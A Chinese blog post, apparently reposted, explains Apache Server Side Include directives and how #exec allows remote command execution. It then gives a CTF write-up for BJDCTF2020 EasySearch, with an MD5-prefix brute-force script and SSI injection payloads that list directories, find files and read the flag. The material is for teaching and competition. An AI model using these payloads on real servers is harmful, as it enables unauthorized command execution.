Apache SSI远程命令执行漏洞

news2024/10/6 22:21:29

什么是SSI

Apache SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

从技术层面来讲,SSI是一种在静态的shtml文件中根据需求插入内容;

SSI其实是一套为web服务器提供的命令,指令的基本格式为:<!--指令名称="指令内容"-->

常用的指令:

指令名称 指令作用
#include将文本文件的内容直接插入到文档页面中
#echo将环境变量插入到页面中
#flastmod和#fsize#flastmod文件最近更新日期。
#fsize文件的长度。
#exec将某一外部程序的输出插入到页面中,可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi(cgi为插入到CGI程序中)
#config指定返回给客户端浏览器的错误信息、日期和文件大小的格式
#printenv显示当前存在于WEB服务器环境中的所有环境变量
#set可给变量赋值,以用于后面的if语句
#if创建可以改变数据的页面,这些数据根据使用if语句时计算的要求予以显示

 在目前我了解的应用于远程执行漏洞的指令是#exec,如果对于其他指令可以自行了解

#exec语法:

<!--#exec cmd="文件名称"-->

运用于常规程序

<!--#exec cgi="文件名称"-->

运用于CGI程序

SSI 远程命令执行漏洞产生原理

漏洞产生原因:在Apache服务器下,如果开启了SSI功能,那么就可以利用ssi指令对shtml等文件进行任意的命令执行;在文件上传时,如果限制了php上传,可以通过上传shtml利用<!--#exec cmd="命令" -->执行任意命令

触发条件

当存在一些条件时,就可以在利用ssi在web服务器上实现任意命令执行:

  • Web服务器为Apache和IIS(支持SSI功能的服务器)
  • 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
  • Web应用程序在返回响应的HTML页面时,嵌入用户输入
  • 未对输入的参数值进行输入过滤

例题

[BJDCTF2020]EasySearch

打开环境,是一个类似登录框的东西

尝试登录一下

常规进行抓包看看有没有什么提示,响应头没有什么提示,进行目录的扫描

 进行目录扫描不建议使用disearch,这里使用dirmap,这是一个功能强于DirBuster、Dirsearch、cansina、御剑的扫描软件

扫描发现一个swp备份文件,尝试访问

拿到源码,审查一下代码

 if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '

 传入的密码在经过md5加密后的,前6位等于6d0bc1

在网上找一个脚本跑一下

import hashlib

for i in range(100000000):
    a = hashlib.md5(str(i).encode("utf-8")).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)

passward可以为这两组数字

 现在开始尝试登录

admin&2020666

抓包看看响应头的回显,提示了一个url直接去访问

访问后能看见回显了我们刚刚登录的username ,说明这里存在注入点,可以利用

注入方式就是我们应该考虑的,我们的思路应该还是先利用命令执行来获取关于flag的信息,并且可以发现此时的后缀是shtml,那么就存在SSI漏洞尝试进行注入

在username的位置进行ssi注入

<!--#exec cmd="ls /"-->

不能明显的发现flag的位置,也可以再单独的去ls每个子目录下的内容,或者是直接查看flag的位置

<!--#exec cmd="find / -name flag*"-->

 

 cat flag

<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1640107.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微服务架构下规范实践-研发管理

微服务架构下规范 目录概述需求&#xff1a; 设计思路实现思路分析3.代码托管 4.统计分析 参考资料和推荐阅读 Survive by day and develop by night. talk for import biz , show your perfect code,full busy&#xff0c;skip hardness,make a better result,wait for change…

机器学习:深入解析SVM的核心概念【四、软间隔与正则化】

软间隔与正则化 问题一&#xff1a;优化目标函数是如何得到的&#xff1f;得到的过程是怎样的&#xff1f;问题二&#xff1a;拉格朗日乘子法计算详细过程问题三&#xff1a;KKT条件求解过程问题四&#xff1a;结构风险最小化&#xff08;SRM&#xff09;的原理 在前面的讨论中…

【Linux系统编程】第十二弹---编辑器gcc/g++使用

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】 目录 1、什么是gcc/g 2、gcc/g编辑器的安装 3、gcc/g编译的四个步骤 2.1、预处理 2.2、编译 2.3、汇编 2.4、链接 4、函数库 …

jadx-gui添加dex文件失败,提示Bad checksum

之前都是使用jadx直接打开的apk文件&#xff0c;要添加dex文件时突然添加失败并报错 也就是会校验dex的checksum&#xff0c;直接关闭会导致dex文件反编译失败。 解决方案&#xff1a;查日志后得到关闭校验即可 操作方式如下&#xff1a;

Java高阶私房菜:JVM分代收集算法介绍和各垃圾收集器原理分解

目录 什么是分代收集算法 GC的分类和专业术语 什么是垃圾收集器 垃圾收集器的分类及组合 ​编辑 应关注的核心指标 Serial和ParNew收集器原理 Serial收集器 ParNew收集器 Parallel和CMS收集器原理 Parallel 收集器 CMS收集器 新一代垃圾收集器G1和ZGC G1垃圾收集器…

未来科技的前沿:深入探讨人工智能的进展、机器学习技术和未来趋势

文章目录 一、人工智能的定义和概述1. 人工智能的基本概念2. 人工智能的发展历史 二、技术深入&#xff1a;机器学习、深度学习和神经网络1. 机器学习2. 深度学习3. 神经网络 三、人工智能的主要目标和功能1. 自动化和效率提升2. 决策支持和风险管理3. 个性化服务和预测未来 本…

【目标检测】DEtection TRansformer (DETR)

一、前言 论文&#xff1a; End-to-End Object Detection with Transformers 作者&#xff1a; Facebook AI 代码&#xff1a; DEtection TRansformer (DETR) 特点&#xff1a; 无proposal&#xff08;R-CNN系列&#xff09;、无anchor&#xff08;YOLO系列&#xff09;、无NM…

本地大语言模型LLM的高效运行专家 | Ollama

Ollama简介 Ollama是一个开源的大型语言模型服务工具&#xff0c;它帮助用户快速在本地运行大模型。通过简单的安装指令&#xff0c;用户可以执行一条命令就在本地运行开源大型语言模型&#xff0c;如Llama 2。Ollama极大地简化了在Docker容器内部署和管理LLM的过程&#xff0…

ICode国际青少年编程竞赛- Python-1级训练场-基本操作

ICode国际青少年编程竞赛- Python-1级训练场-基本操作 1、 Dev.step(3)2、 Dev.step(1)3、 Dev.step(7)4、 Dev.step(-1)5、 Dev.step(-5)6、 Dev.step(3) Dev.step(-8)7、 Dev.turnRight() Dev.step(1)8、 Dev.turnLeft() Dev.step(1)9、 Dev.step(4) Dev.tur…

2024年Q1季度户外装备线上市场数据分析:垂钓类用品占据市场主流

五一期间&#xff0c;随着外出旅游、露营、游玩增多&#xff0c;消费者也将目光投向户外装备。 但今年Q1季度&#xff0c;由于季节变换、天气气候等原因&#xff0c;户外装备市场表现不如预期。根据鲸参谋数据显示&#xff0c;今年Q1季度&#xff0c;在线上电商平台&#xff0…

Java-异常处理-定义三角形类Triangle和异常三角形IllegalTriangleException类 (1/2)

任意一个三角形&#xff0c;其任意两边之和大于第三边。当三角形的三条边不满足前述条件时&#xff0c;就表示发生了异常&#xff0c;将这种异常情况定义为IllegalTriangleException类。 自定义异常类IllegalTriangleException&#xff1a; 当三角形的三条边不满足条件&#x…

数据结构学习/复习3--顺序表的实现/数组下标思想类编程题

一、顺序表的实现 realloc函数的原异地扩容 二、编程练习题 1. 2. 3.

解决WordPress无法强制转换https问题

原因&#xff1a;我在用cs的时候&#xff0c;突然老鸟校园网突然断了&#xff0c;客户端cs连不上了&#xff0c;进程也杀不死&#xff0c;cpu占用100%&#xff0c;只能重启&#xff0c;但是重启后我的blog网站打不开了 开始以为是Nginx的问题&#xff0c;重启它说配置出了问题…

STM32——GPIO篇

技术笔记&#xff01; 1. 什么是GPIO&#xff1f; GPIO是通用输入输出端口&#xff08;General-purpose input/output&#xff09;的英文简写&#xff0c;是所有的微控制器必不可少的外设之一&#xff0c;可以由STM32直接驱动从而实现与外部设备通信、控制以及采集和捕获的功…

java中的字符串(String)常量池理解

下面创建String对象的方式一样吗&#xff1f; 上述程序创建对象类似&#xff0c;为什么s1和s2引用对象一样&#xff0c;但是s3和s4不一样呢&#xff1f; 在java程序中&#xff0c;许多基本类型的字面常量会经常用到&#xff0c;例如2,3.11&#xff0c;“hyy”等。为了提升程序…

算法学习系列(五十四):单源最短路的综合应用

目录 引言一、新年好二、通信线路三、道路与航线四、最优贸易 引言 关于这个单源最短路的综合应用&#xff0c;其实最短路问题最简单的就是模板了&#xff0c;这是一个基础&#xff0c;然后会与各种算法结合到一块&#xff0c;就是不再考察单个知识点了&#xff0c;而是各种知…

【RBAC鉴权】node-casbin基础教程

一、RBAC概述 RBAC鉴权&#xff0c;完整的英文描述是&#xff1a;Role-Based Access Control&#xff0c;中文意思是&#xff1a;基于角色&#xff08;Role&#xff09;的访问控制。这是一种广泛应用于计算机系统和网络安全领域的访问控制模型。 简单来说&#xff0c;就是通过…

a-table 控制列的展示和隐藏

一、业务场景&#xff1a; 最近在使用 Antd-vue 组件库的时候&#xff0c;a-table需要根据不同角色的权限显示和隐藏 columns的列 为了避免大家走弯路&#xff0c;为大家整理了一下&#xff0c;粘走可以直接用的那种 二、具体实现步骤&#xff1a; 1.在需要显示与隐藏的列增加一…

Android Studio实现简单的自定义钟表

项目目录 一、项目概述二、开发环境三、详细设计3.1、尺寸设置3.2、绘制表盘和指针3.3、动态效果 四、运行演示五、总结展望六、源码获取 一、项目概述 在安卓开发中&#xff0c;当系统自带的View已经无法满足项目需求时&#xff0c;就要自定义View。在Android中是没有与钟表有…

深度学习之基于Matlab BP神经网络烟叶成熟度分类

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景 烟叶的成熟度是评估烟叶品质的重要指标之一&#xff0c;它直接影响着烟叶的口感、香气和理化特性。传…